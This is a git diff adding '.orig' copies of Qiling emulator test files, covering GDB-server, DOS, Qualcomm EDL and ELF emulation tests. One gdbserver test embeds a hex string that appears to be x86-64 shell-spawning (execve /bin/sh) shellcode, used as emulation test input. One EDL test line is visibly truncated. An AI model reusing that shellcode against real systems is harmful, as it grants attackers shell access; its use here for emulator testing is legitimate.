client.send(f'qAttached:{ql.os.pid}') + client.send('qC') + client.send('g') + client.send('m47ccd10,4') + client.send('qXfer:threads:read::0,1000') + client.send('m56555620,4') + client.send('m5655561c,4') + client.send('m56555620,4') + client.send('m5655561c,4') + client.send('m56555620,4') + client.send('qTStatus') + client.send('qTfP') + client.send('m56555600,40') + client.send('m56555620,4') + client.send('Z0,47ccd10,4') + client.send('QPassSignals:e;10;14;17;1a;1b;1c;21;24;25;2c;4c;97;') + client.send('vCont?') + client.send('vCont;c:pa410.-1') + client.send('c') + client.send('k') + + # yield to make sure ql gdbserver has enough time to receive our last command + time.sleep(1.337) + + threading.Thread(target=gdb_test_client, daemon=True).start() + + ql.run() + del ql + + def test_gdbdebug_armeb(self): + ql = Qiling(["../examples/rootfs/armeb_linux/bin/armeb_hello"], "../examples/rootfs/armeb_linux", verbose=QL_VERBOSE.DEBUG) + ql.debugger = True + + # some random command test just to make sure we covered most of the command + def gdb_test_client(): + # yield to allow ql to launch its gdbserver + time.sleep(1.337 * 2) + + with SimpleGdbClient('127.0.0.1', 9999) as client: + client.send('qSupported:multiprocess+;swbreak+;hwbreak+;qRelocInsn+;fork-events+;vfork-events+;exec-events+;vContSupported+;QThreadEvents+;no-resumed+;xmlRegisters=i386') + client.send('vMustReplyEmpty') + client.send('QStartNoAckMode') + client.send('Hgp0.0') + client.send('qXfer:auxv:read::0, 1000') + client.send('?') + client.send('qXfer:threads:read::0,fff') + client.send(f'qAttached:{ql.os.pid}') + client.send('qC') + client.send('g') + client.send('m47ccd10,4') + client.send('qXfer:threads:read::0,1000') + client.send('z0,47ca5fc,4') + client.send('m0,4') + client.send('mfffffffc,4') + client.send('m0,4') + client.send('mfffffffc,4') + client.send('m0,4') + client.send('p1d') + client.send('qTStatus') + client.send('c') + client.send('k') + + # yield to make sure ql gdbserver has enough time to receive our last command + time.sleep(1.337) + + threading.Thread(target=gdb_test_client, daemon=True).start() + + ql.run() + del ql + + def test_gdbdebug_shellcode_server(self): + X8664_LIN = bytes.fromhex('31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05') + + ql = Qiling(code=X8664_LIN, archtype='x8664', ostype='linux') + ql.debugger = 'gdb:127.0.0.1:9998' + + def gdb_test_client(): + # yield to allow ql to launch its gdbserver + time.sleep(1.337 * 2) + + with SimpleGdbClient('127.0.0.1', 9998) as client: + client.send('qSupported:multiprocess+;swbreak+;hwbreak+;qRelocInsn+;fork-events+;vfork-events+;exec-events+;vContSupported+;QThreadEvents+;no-resumed+;xmlRegisters=i386') + client.send('vMustReplyEmpty') + client.send('QStartNoAckMode') + client.send('Hgp0.0') + client.send('?') + client.send('qC') + client.send('g') + client.send('p10') + client.send('c') + client.send('k') + + # yield to make sure ql gdbserver has enough time to receive our last command + time.sleep(1.337) + + threading.Thread(target=gdb_test_client, daemon=True).start() + + ql.run() + del ql + +if __name__ == "__main__": + unittest.main() \ No newline at end of file diff --git a/tests/test_dos.py.orig b/tests/test_dos.py.orig new file mode 100644 index 000000000..449b19a01 --- /dev/null +++ b/tests/test_dos.py.orig @@ -0,0 +1,38 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, unittest +sys.path.append('..') + +from qiling import Qiling +from qiling.const import QL_INTERCEPT, QL_VERBOSE + +class Checklist: + def __init__(self) -> None: + self.visited_onenter = False + self.visited_onexit = False + +class DOSTest(unittest.TestCase): + + def test_dos_8086_hello(self): + ql = Qiling(["../examples/rootfs/8086/dos/HI.DOS_COM"], "../examples/rootfs/8086/dos", verbose=QL_VERBOSE.DEBUG) + ck = Checklist() + + def onenter(ql: Qiling): + ck.visited_onenter = True + + def onexit(ql: Qiling): + ck.visited_onexit = True + + ql.os.set_api((0x21, 0x09), onexit, QL_INTERCEPT.EXIT) + ql.os.set_api((0x21, 0x4c), onenter, QL_INTERCEPT.ENTER) + + ql.run() + + self.assertTrue(ck.visited_onenter) + self.assertTrue(ck.visited_onexit) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_dos_exe.py.orig b/tests/test_dos_exe.py.orig new file mode 100644 index 000000000..d98b17303 --- /dev/null +++ b/tests/test_dos_exe.py.orig @@ -0,0 +1,21 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, unittest +sys.path.append('..') + +from qiling import Qiling + +class DOSTest(unittest.TestCase): + + def test_dos_8086_hello(self): + ql = Qiling(["../examples/rootfs/8086/dos/ARKA.DOS_EXE"], "../examples/rootfs/8086/dos") + + # TODO: missing implemention of INT 3Ch and INT 03h + with self.assertRaises(NotImplementedError): + ql.run() + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_edl.py.orig b/tests/test_edl.py.orig new file mode 100644 index 000000000..7f86845a0 --- /dev/null +++ b/tests/test_edl.py.orig @@ -0,0 +1,96 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import os, sys, time, unittest +from struct import pack + +sys.path.append("..") +from qiling import * +from qiling.const import QL_VERBOSE +from unicorn import * +from unicorn.arm64_const import * + +def replace_function(ql,addr,callback): + def runcode(ql): + ret=callback(ql) + ql.arch.regs.x0=ret + ql.arch.regs.pc=ql.arch.regs.x30 #lr + ql.hook_address(runcode,addr) + +def hook_mem_invalid(uc, access, address, size, value, user_data): + pc = uc.reg_read(UC_ARM64_REG_PC) + if access == UC_MEM_WRITE: + info=("invalid WRITE of 0x%x at 0x%X, data size = %u, data value = 0x%x" % (address, pc, size, value)) + if access == UC_MEM_READ: + info=("invalid READ of 0x%x at 0x%X, data size = %u" % (address, pc, size)) + if access == UC_MEM_FETCH: + info=("UC_MEM_FETCH of 0x%x at 0x%X, data size = %u" % (address, pc, size)) + if access == UC_MEM_READ_UNMAPPED: + info=("UC_MEM_READ_UNMAPPED of 0x%x at 0x%X, data size = %u" % (address, pc, size)) + if access == UC_MEM_WRITE_UNMAPPED: + info=("UC_MEM_WRITE_UNMAPPED of 0x%x at 0x%X, data size = %u" % (address, pc, size)) + if access == UC_MEM_FETCH_UNMAPPED: + info=("UC_MEM_FETCH_UNMAPPED of 0x%x at 0x%X, data size = %u" % (address, pc, size)) + if access == UC_MEM_WRITE_PROT: + info=("UC_MEM_WRITE_PROT of 0x%x at 0x%X, data size = %u" % (address, pc, size)) + if access == UC_MEM_FETCH_PROT: + info=("UC_MEM_FETCH_PROT of 0x%x at 0x%X, data size = %u" % (address, pc, size)) + if access == UC_MEM_FETCH_PROT: + info=("UC_MEM_FETCH_PROT of 0x%x at 0x%X, data size = %u" % (address, pc, size)) + if access == UC_MEM_READ_AFTER: + info=("UC_MEM_READ_AFTER of 0x%x at 0x%X, data size = %u" % (address, pc, size)) + print(info) + return False + +class TestAndroid(unittest.TestCase): + def test_edl_arm64(self): + test_binary = "../examples/rootfs/arm64_edl/bin/arm64_edl" + rootfs = "../examples/rootfs/arm64_edl" + + ql = Qiling([test_binary], rootfs, verbose=QL_VERBOSE.DEBUG) + + ql.arch.enable_vfp() + + def devprg_time_usec(ql): + current_milli_time = int(round(time.time() * 1000)) + ql.arch.regs.x0 = current_milli_time + return current_milli_time + + def devprg_tx_blocking(ql): + ptr = ql.arch.regs.x0 + plen = ql.arch.regs.x1 + data = ql.mem.read(ptr, plen) + res=bytes(data) + if b"response" in res: + tmp=res.decode('utf-8').split("\n") + if len(tmp)>2: + tmp=tmp[2].split("\"") + if len(tmp)>1: + ql.buf_out=tmp[1] + return 0 + + ql.hook_mem_invalid(hook_mem_invalid) + replace_function(ql, 0x148595A0, devprg_time_usec) # Register 0xC221000 + replace_function(ql, 0x1485C614, devprg_tx_blocking) # Function being used by UART in DP_LOGI + + ql.arch.regs.sp = 0x146B2000 # SP from main + xml_buffer_addr = 0x14684E80 # We extracted that from devprg_get_xml_buffer + device_serial_addr = 0x148A8A8C + device_serial = pack("\n\n\x00" + ql.arch.regs.x0 = xml_buffer_addr + ql.arch.regs.x1 = len(uart_data) + ql.mem.write(xml_buffer_addr, uart_data) + ql.mem.write(device_serial_addr, device_serial) + handle_xml_addr_start=0x14857C94 + handle_xml_addr_end=0x14857D4C + ql.run(begin=handle_xml_addr_start, end=handle_xml_addr_end) + + self.assertEqual("ACK", ql.buf_out) + + del ql + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_elf.py.orig b/tests/test_elf.py.orig new file mode 100644 index 000000000..48d071865 --- /dev/null +++ b/tests/test_elf.py.orig @@ -0,0 +1,1164 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, unittest, string, random, os, io, re + +sys.path.append("..") +from qiling import Qiling +from qiling.const import QL_OS, QL_INTERCEPT, QL_STOP, QL_VERBOSE +from qiling.exception import * +from qiling.extensions import pipe +from qiling.os.const import STRING +from qiling.os.posix import syscall +from qiling.os.mapper import QlFsMappedObject + +class ELFTest(unittest.TestCase): + + + def test_libpatch_elf_linux_x8664(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/patch_test.bin"], "../examples/rootfs/x8664_linux") + ql.patch(0x0000000000000575, b'qiling\x00', target='libpatch_test.so') + ql.run() + del ql + + + def test_elf_freebsd_x8664(self): + ql = Qiling(["../examples/rootfs/x8664_freebsd/bin/x8664_hello_asm"], "../examples/rootfs/x8664_freebsd", verbose=QL_VERBOSE.DUMP) + ql.run() + del ql + + + def test_elf_partial_linux_x8664(self): + def dump(ql, *args, **kw): + ql.save(reg=False, cpu_context=True, snapshot="/tmp/snapshot.bin") + ql.emu_stop() + + ql = Qiling(["../examples/rootfs/x8664_linux/bin/sleep_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEFAULT) + X64BASE = int(ql.profile.get("OS64", "load_address"), 16) + ql.hook_address(dump, X64BASE + 0x1094) + ql.run() + + ql = Qiling(["../examples/rootfs/x8664_linux/bin/sleep_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + X64BASE = int(ql.profile.get("OS64", "load_address"), 16) + ql.restore(snapshot="/tmp/snapshot.bin") + begin_point = X64BASE + 0x109e + end_point = X64BASE + 0x10bc + ql.run(begin = begin_point, end = end_point) + + del ql + + def test_elf_x_only_segment(self): + def stop(ql, *args, **kw): + ql.emu_stop() + + ql = Qiling(["../examples/rootfs/x8664_linux/bin/sleep_hello_with_x_only_segment"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + X64BASE = int(ql.profile.get("OS64", "load_address"), 16) + ql.hook_address(stop, X64BASE + 0x1094) + ql.run() + + del ql + + def _test_elf_linux_x86_snapshot_restore_common(self, reg=False, ctx=False): + rootfs = "../examples/rootfs/x86_linux" + cmdline = ["../examples/rootfs/x86_linux/bin/x86_hello"] + snapshot = os.path.join(rootfs, 'snapshot_restore_reg_ctx.snapshot') + + ql = Qiling(cmdline, rootfs, verbose=QL_VERBOSE.DEBUG) + + X86BASE = int(ql.profile.get("OS32", "load_address"), 16) + hook_address = X86BASE + 0x542 # call printf + + def dump(ql): + nonlocal snapshot + nonlocal reg + nonlocal ctx + ql.save(reg=reg, cpu_context=ctx, os=True, loader=True, snapshot=snapshot) + ql.emu_stop() + ql.hook_address(dump, hook_address) + + ql.run() + + # make sure that the ending PC is the same as the hook address because dump stops the emulater + assert ql.arch.regs.arch_pc == hook_address, f"0x{ql.arch.regs.arch_pc:x} != 0x{hook_address:x}" + del ql + + ql = Qiling(cmdline, rootfs, verbose=QL_VERBOSE.DEBUG) + ql.restore(snapshot=snapshot) + + # ensure that the starting PC is same as the PC we stopped on when taking the snapshot + assert ql.arch.regs.arch_pc == hook_address, f"0x{ql.arch.regs.arch_pc:x} != 0x{hook_address:x}" + + ql.run(begin=hook_address) + del ql + + os.remove(snapshot) + + def test_elf_linux_x86_snapshot_restore_reg(self): + self._test_elf_linux_x86_snapshot_restore_common(reg=True, ctx=False) + + def test_elf_linux_x86_snapshot_restore_ctx(self): + self._test_elf_linux_x86_snapshot_restore_common(reg=False, ctx=True) + + def test_elf_linux_x86_snapshot_restore_reg_ctx(self): + self._test_elf_linux_x86_snapshot_restore_common(reg=True, ctx=True) + + PARAMS_PUTS = {'s': STRING} + + def test_elf_linux_x8664(self): + def my_puts(ql: Qiling): + params = ql.os.resolve_fcall_params(ELFTest.PARAMS_PUTS) + print(f'puts("{params["s"]}")') + reg = ql.arch.regs.read("rax") + print("reg : %#x" % reg) + self.set_api = reg + + def write_onEnter(ql: Qiling, fd: int, str_ptr: int, str_len: int, *args): + self.set_api_onenter = True + print("enter write syscall!") + + # override syscall pc (ignored) and set of params with our own + return None, (fd, str_ptr + 1, str_len - 1) + + def write_onexit(ql: Qiling, fd: int, str_ptr: int, str_len: int, retval: int, *args): + self.set_api_onexit = True + print("exit write syscall!") + + # override syscall return value with our own + return str_len + 1 + + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_args","1234test", "12345678", "bin/x8664_hello"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall(1, write_onEnter, QL_INTERCEPT.ENTER) + ql.os.set_api('puts', my_puts) + ql.os.set_syscall(1, write_onexit, QL_INTERCEPT.EXIT) + ql.mem.map(0x1000, 0x1000) + ql.mem.write(0x1000, b"\xFF\xFE\xFD\xFC\xFB\xFA\xFB\xFC\xFC\xFE\xFD") + ql.mem.map(0x2000, 0x1000) + ql.mem.write(0x2000, b"\xFF\xFE\xFD\xFC\xFB\xFA\xFB\xFC\xFC\xFE\xFD") + ql.run() + + self.assertEqual([0x1000,0x2000], ql.mem.search(b"\xFF\xFE\xFD\xFC\xFB\xFA\xFB\xFC\xFC\xFE\xFD")) + self.assertEqual(0x5555555546ca, self.set_api) + self.assertEqual(True, self.set_api_onexit) + self.assertEqual(True, self.set_api_onenter) + + del self.set_api + del self.set_api_onexit + del self.set_api_onenter + del ql + + def test_elf_hijackapi_linux_x8664(self): + + def my_puts_enter(ql: Qiling): + params = ql.os.resolve_fcall_params(ELFTest.PARAMS_PUTS) + self.test_enter_str = params["s"] + + def my_puts_exit(ql): + self.test_exit_rdi = ql.arch.regs.rdi + + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_puts"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + ql.os.set_api('puts', my_puts_enter, QL_INTERCEPT.ENTER) + ql.os.set_api('puts', my_puts_exit, QL_INTERCEPT.EXIT) + + ql.run() + + + if self.test_exit_rdi == 140736282240864: + self.test_exit_rdi = 0x1 + + self.assertEqual(0x1, self.test_exit_rdi) + self.assertEqual("CCCC", self.test_enter_str) + + del self.test_exit_rdi + del self.test_enter_str + del ql + + + def test_elf_linux_x8664_flex_api(self): + opened = [] + + def onenter_fopen(ql: Qiling): + params = ql.os.resolve_fcall_params({ + 'filename' : STRING, + 'mode' : STRING + }) + + # log opened filenames + opened.append(params['filename']) + + def hook_main(ql: Qiling): + # set up fopen hook when reaching main + ql.os.set_api('fopen', onenter_fopen, QL_INTERCEPT.ENTER) + + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_fetch_urandom"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEFAULT) + + ba = ql.loader.images[0].base + ql.hook_address(hook_main, ba + 0x10e0) + ql.run() + del ql + + # test whether we interpected opening urandom + self.assertListEqual(opened, [r'/dev/urandom']) + + + def test_elf_linux_x8664_static(self): + ql = Qiling(["../examples/rootfs/x8664_linux/bin/x8664_hello_static"], "../examples/rootfs/x8664_linux", verbose=QL_VERBOSE.DEBUG) + ql.run() + del ql + + + def test_elf_linux_x86(self): + filename = 'test.qlog' + + ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_hello"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG, log_file=filename) + ql.run() + + os.remove(filename) + del ql + + + def test_elf_linux_x86_static(self): + ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_hello_static"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) + ql.run() + del ql + + + def test_elf_linux_x86_posix_syscall(self): + def test_syscall_read(ql, read_fd, read_buf, read_count, *args): + target = False + pathname = ql.os.fd[read_fd].name.split('/')[-1] + + if pathname == "test_syscall_read.txt": + print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) + target = True + + regreturn = syscall.ql_syscall_read(ql, read_fd, read_buf, read_count, *args) + + if target: + real_path = ql.os.fd[read_fd].name + with open(real_path) as fd: + assert fd.read() == ql.mem.read(read_buf, read_count).decode() + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + def test_syscall_write(ql, write_fd, write_buf, write_count, *args): + target = False + pathname = ql.os.fd[write_fd].name.split('/')[-1] + + if pathname == "test_syscall_write.txt": + print("test => write(%d, %s, %d)" % (write_fd, pathname, write_count)) + target = True + + regreturn = syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *args) + + if target: + real_path = ql.os.fd[write_fd].name + with open(real_path) as fd: + assert fd.read() == 'Hello testing\x00' + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + def test_syscall_openat(ql, openat_fd, openat_path, openat_flags, openat_mode, *args): + target = False + pathname = ql.os.utils.read_cstring(openat_path) + + if pathname == "test_syscall_open.txt": + print("test => openat(%d, %s, 0x%x, 0%o)" % (openat_fd, pathname, openat_flags, openat_mode)) + target = True + + regreturn = syscall.ql_syscall_openat(ql, openat_fd, openat_path, openat_flags, openat_mode, *args) + + if target: + real_path = ql.os.path.transform_to_real_path(pathname) + assert os.path.isfile(real_path) == True + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + def test_syscall_unlink(ql, unlink_pathname, *args): + target = False + pathname = ql.os.utils.read_cstring(unlink_pathname) + + if pathname == "test_syscall_unlink.txt": + print("test => unlink(%s)" % (pathname)) + target = True + + regreturn = syscall.ql_syscall_unlink(ql, unlink_pathname, *args) + + if target: + real_path = ql.os.path.transform_to_real_path(pathname) + assert os.path.isfile(real_path) == False + + return regreturn + + def test_syscall_truncate(ql, trunc_pathname, trunc_length, *args): + target = False + pathname = ql.os.utils.read_cstring(trunc_pathname) + + if pathname == "test_syscall_truncate.txt": + print("test => truncate(%s, 0x%x)" % (pathname, trunc_length)) + target = True + + regreturn = syscall.ql_syscall_truncate(ql, trunc_pathname, trunc_length, *args) + + if target: + real_path = ql.os.path.transform_to_real_path(pathname) + assert os.stat(real_path).st_size == 0 + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): + target = False + pathname = ql.os.fd[ftrunc_fd].name.split('/')[-1] + + reg = ql.arch.regs.read("eax") + print("reg : 0x%x" % reg) + ql.arch.regs.eax = reg + + if pathname == "test_syscall_ftruncate.txt": + print("test => ftruncate(%d, 0x%x)" % (ftrunc_fd, ftrunc_length)) + target = True + + regreturn = syscall.ql_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args) + + if target: + real_path = ql.os.path.transform_to_real_path(pathname) + assert os.stat(real_path).st_size == 0x10 + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + ql = Qiling(["../examples/rootfs/x86_linux/bin/x86_posix_syscall"], "../examples/rootfs/x86_linux", verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall(0x3, test_syscall_read) + ql.os.set_syscall(0x4, test_syscall_write) + ql.os.set_syscall(0x127, test_syscall_openat) + ql.os.set_syscall(0xa, test_syscall_unlink) + ql.os.set_syscall(0x5c, test_syscall_truncate) + ql.os.set_syscall(0x5d, test_syscall_ftruncate) + ql.run() + del ql + + + def test_elf_linux_arm(self): + def my_puts(ql): + params = ql.os.resolve_fcall_params(ELFTest.PARAMS_PUTS) + print(f'puts("{params["s"]}")') + + all_mem = ql.mem.save() + ql.mem.restore(all_mem) + + ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_hello"], "../examples/rootfs/arm_linux", verbose=QL_VERBOSE.DEBUG) + ql.os.set_api('puts', my_puts) + ql.run() + del ql + + + def test_elf_linux_arm_static(self): + ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_hello_static"], "../examples/rootfs/arm_linux", verbose=QL_VERBOSE.DEFAULT) + all_mem = ql.mem.save() + ql.mem.restore(all_mem) + ql.run() + del ql + + + # syscall testing for ARM, will be uncomment after ARM executable generated properly. + # def test_elf_linux_arm_posix_syscall(self): + # def test_syscall_read(ql, read_fd, read_buf, read_count, *args): + # target = False + # pathname = ql.os.fd[read_fd].name.split('/')[-1] + + # if pathname == "test_syscall_read.txt": + # print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) + # target = True + + # syscall.ql_syscall_read(ql, read_fd, read_buf, read_count, *args) + + # if target: + # real_path = ql.os.fd[read_fd].name + # with open(real_path) as fd: + # assert fd.read() == ql.mem.read(read_buf, read_count).decode() + # os.remove(real_path) + + # def test_syscall_write(ql, write_fd, write_buf, write_count, *args): + # target = False + # pathname = ql.os.fd[write_fd].name.split('/')[-1] + + # if pathname == "test_syscall_write.txt": + # print("test => write(%d, %s, %d)" % (write_fd, pathname, write_count)) + # target = True + + # syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *args) + + # if target: + # real_path = ql.os.fd[write_fd].name + # with open(real_path) as fd: + # assert fd.read() == 'Hello testing\x00' + # os.remove(real_path) + + # def test_syscall_open(ql, open_pathname, open_flags, open_mode, *args): + # target = False + # pathname = ql.os.utils.read_cstring(open_pathname) + + # if pathname == "test_syscall_open.txt": + # print("test => open(%s, 0x%x, 0%o)" % (pathname, open_flags, open_mode)) + # target = True + + # syscall.ql_syscall_open(ql, open_pathname, open_flags, open_mode, *args) + + # if target: + # real_path = ql.os.path.transform_to_real_path(pathname) + # assert os.path.isfile(real_path) == True + # os.remove(real_path) + + # def test_syscall_unlink(ql, unlink_pathname, *args): + # target = False + # pathname = ql.os.utils.read_cstring(unlink_pathname) + + # if pathname == "test_syscall_unlink.txt": + # print("test => unlink(%s)" % (pathname)) + # target = True + + # syscall.ql_syscall_unlink(ql, unlink_pathname, *args) + + # if target: + # real_path = ql.os.path.transform_to_real_path(pathname) + # assert os.path.isfile(real_path) == False + + # def test_syscall_truncate(ql, trunc_pathname, trunc_length, *args): + # target = False + # pathname = ql.os.utils.read_cstring(trunc_pathname) + + # if pathname == "test_syscall_truncate.txt": + # print("test => truncate(%s, 0x%x)" % (pathname, trunc_length)) + # target = True + + # syscall.ql_syscall_truncate(ql, trunc_pathname, trunc_length, *args) + + # if target: + # real_path = ql.os.path.transform_to_real_path(pathname) + # assert os.stat(real_path).st_size == 0 + # os.remove(real_path) + + # def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): + # target = False + # pathname = ql.os.fd[ftrunc_fd].name.split('/')[-1] + + # if pathname == "test_syscall_ftruncate.txt": + # print("test => ftruncate(%d, 0x%x)" % (ftrunc_fd, ftrunc_length)) + # target = True + + # syscall.ql_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args) + + # if target: + # real_path = ql.os.path.transform_to_real_path(pathname) + # assert os.stat(real_path).st_size == 0x10 + # os.remove(real_path) + + # ql = Qiling(["../examples/rootfs/arm_linux/bin/arm_posix_syscall"], "../examples/rootfs/arm_linux", verbose=QL_VERBOSE.DEBUG) + # ql.os.set_syscall(0x3, test_syscall_read) + # ql.os.set_syscall(0x4, test_syscall_write) + # ql.os.set_syscall(0x5, test_syscall_open) + # ql.os.set_syscall(0xa, test_syscall_unlink) + # ql.os.set_syscall(0x5c, test_syscall_truncate) + # ql.os.set_syscall(0x5d, test_syscall_ftruncate) + # ql.run() + # del ql + + + def test_elf_linux_arm64(self): + ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_hello"], "../examples/rootfs/arm64_linux", verbose=QL_VERBOSE.DEBUG) + ql.run() + del ql + + + def test_elf_linux_arm64_static(self): + ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_hello_static"], "../examples/rootfs/arm64_linux", verbose=QL_VERBOSE.DEFAULT) + ql.run() + del ql + + + def test_elf_linux_mips32eb_static(self): + ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_hello_static"], "../examples/rootfs/mips32_linux") + ql.run() + del ql + + + def test_elf_linux_mips32eb(self): + def random_generator(size=6, chars=string.ascii_uppercase + string.digits): + return ''.join(random.choice(chars) for x in range(size)) + + ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_hello", random_generator(random.randint(1,99))], "../examples/rootfs/mips32_linux") + ql.run() + + del ql + + + def test_mips32eb_fake_urandom(self): + class Fake_urandom(QlFsMappedObject): + + def read(self, size): + return b"\x01" + + def fstat(self): + return -1 + + def close(self): + return 0 + + ql = Qiling(["../examples/rootfs/mips32_linux/bin/mips32_fetch_urandom"], "../examples/rootfs/mips32_linux") + ql.add_fs_mapper("/dev/urandom", Fake_urandom()) + + ql.exit_code = 0 + ql.exit_group_code = 0 + + def check_exit_group_code(ql, exit_code, *args, **kw): + ql.exit_group_code = exit_code + + def check_exit_code(ql, exit_code, *args, **kw): + ql.exit_code = exit_code + + ql.os.set_syscall("exit_group", check_exit_group_code, QL_INTERCEPT.ENTER) + ql.os.set_syscall("exit", check_exit_code, QL_INTERCEPT.ENTER) + + ql.run() + self.assertEqual(0, ql.exit_code) + self.assertEqual(0, ql.exit_group_code) + del ql + + + def test_elf_onEnter_mips32el(self): + def my_puts_onenter(ql: Qiling): + params = ql.os.resolve_fcall_params(ELFTest.PARAMS_PUTS) + print(f'puts("{params["s"]}")') + + params = ql.os.fcall.readParams(ELFTest.PARAMS_PUTS.values()) + self.my_puts_onenter_addr = params[0] + + return 2 + + ql = Qiling(["../examples/rootfs/mips32el_linux/bin/mips32el_double_hello"], "../examples/rootfs/mips32el_linux") + ql.os.set_api('puts', my_puts_onenter, QL_INTERCEPT.ENTER) + ql.run() + + self.assertEqual(4196680, self.my_puts_onenter_addr) + + del ql + + + def test_elf_linux_arm64_posix_syscall(self): + def test_syscall_read(ql, read_fd, read_buf, read_count, *args): + target = False + pathname = ql.os.fd[read_fd].name.split('/')[-1] + + reg = ql.arch.regs.read("x0") + print("reg : 0x%x" % reg) + ql.arch.regs.x0 = reg + + if pathname == "test_syscall_read.txt": + print("test => read(%d, %s, %d)" % (read_fd, pathname, read_count)) + target = True + + regreturn = syscall.ql_syscall_read(ql, read_fd, read_buf, read_count, *args) + + if target: + real_path = ql.os.fd[read_fd].name + with open(real_path) as fd: + assert fd.read() == ql.mem.read(read_buf, read_count).decode() + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + + def test_syscall_write(ql, write_fd, write_buf, write_count, *args): + target = False + pathname = ql.os.fd[write_fd].name.split('/')[-1] + + if pathname == "test_syscall_write.txt": + print("test => write(%d, %s, %d)" % (write_fd, pathname, write_count)) + target = True + + regreturn = syscall.ql_syscall_write(ql, write_fd, write_buf, write_count, *args) + + if target: + real_path = ql.os.fd[write_fd].name + with open(real_path) as fd: + assert fd.read() == 'Hello testing\x00' + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + + def test_syscall_openat(ql, openat_fd, openat_path, openat_flags, openat_mode, *args): + target = False + pathname = ql.os.utils.read_cstring(openat_path) + + if pathname == "test_syscall_open.txt": + print("test => openat(%d, %s, 0x%x, 0%o)" % (openat_fd, pathname, openat_flags, openat_mode)) + target = True + + regreturn = syscall.ql_syscall_openat(ql, openat_fd, openat_path, openat_flags, openat_mode, *args) + + if target: + real_path = ql.os.path.transform_to_real_path(pathname) + assert os.path.isfile(real_path) == True + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + + def test_syscall_unlink(ql, unlink_pathname, *args): + target = False + pathname = ql.os.utils.read_cstring(unlink_pathname) + + if pathname == "test_syscall_unlink.txt": + print("test => unlink(%s)" % (pathname)) + target = True + + regreturn = syscall.ql_syscall_unlink(ql, unlink_pathname, *args) + + if target: + real_path = ql.os.path.transform_to_real_path(pathname) + assert os.path.isfile(real_path) == False + + return regreturn + + + def test_syscall_truncate(ql, trunc_pathname, trunc_length, *args): + target = False + pathname = ql.os.utils.read_cstring(trunc_pathname) + + if pathname == "test_syscall_truncate.txt": + print("test => truncate(%s, 0x%x)" % (pathname, trunc_length)) + target = True + + regreturn = syscall.ql_syscall_truncate(ql, trunc_pathname, trunc_length, *args) + + if target: + real_path = ql.os.path.transform_to_real_path(pathname) + assert os.stat(real_path).st_size == 0 + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + + def test_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args): + target = False + pathname = ql.os.fd[ftrunc_fd].name.split('/')[-1] + + if pathname == "test_syscall_ftruncate.txt": + print("test => ftruncate(%d, 0x%x)" % (ftrunc_fd, ftrunc_length)) + target = True + + regreturn = syscall.ql_syscall_ftruncate(ql, ftrunc_fd, ftrunc_length, *args) + + if target: + real_path = ql.os.path.transform_to_real_path(pathname) + assert os.stat(real_path).st_size == 0x10 + if ql.host.os != QL_OS.WINDOWS: + os.remove(real_path) + + return regreturn + + ql = Qiling(["../examples/rootfs/arm64_linux/bin/arm64_posix_syscall"], "../examples/rootfs/arm64_linux", verbose=QL_VERBOSE.DEBUG) + ql.os.set_syscall(0x3f, test_syscall_read) + ql.os.set_syscall(0x40, test_syscall_write) + ql.os.set_syscall(0x38, test_syscall_openat) + ql.os.set_syscall(0x402, test_syscall_unlink) + ql.os.set_syscall(0x2d, test_syscall_truncate) + ql.os.set_syscall(0x2e, test_syscall_ftruncate) + ql.run() + del ql + + + def test_elf_linux_mips32el(self): + def random_generator(size=6, chars=string.ascii_uppercase + string.digits): + 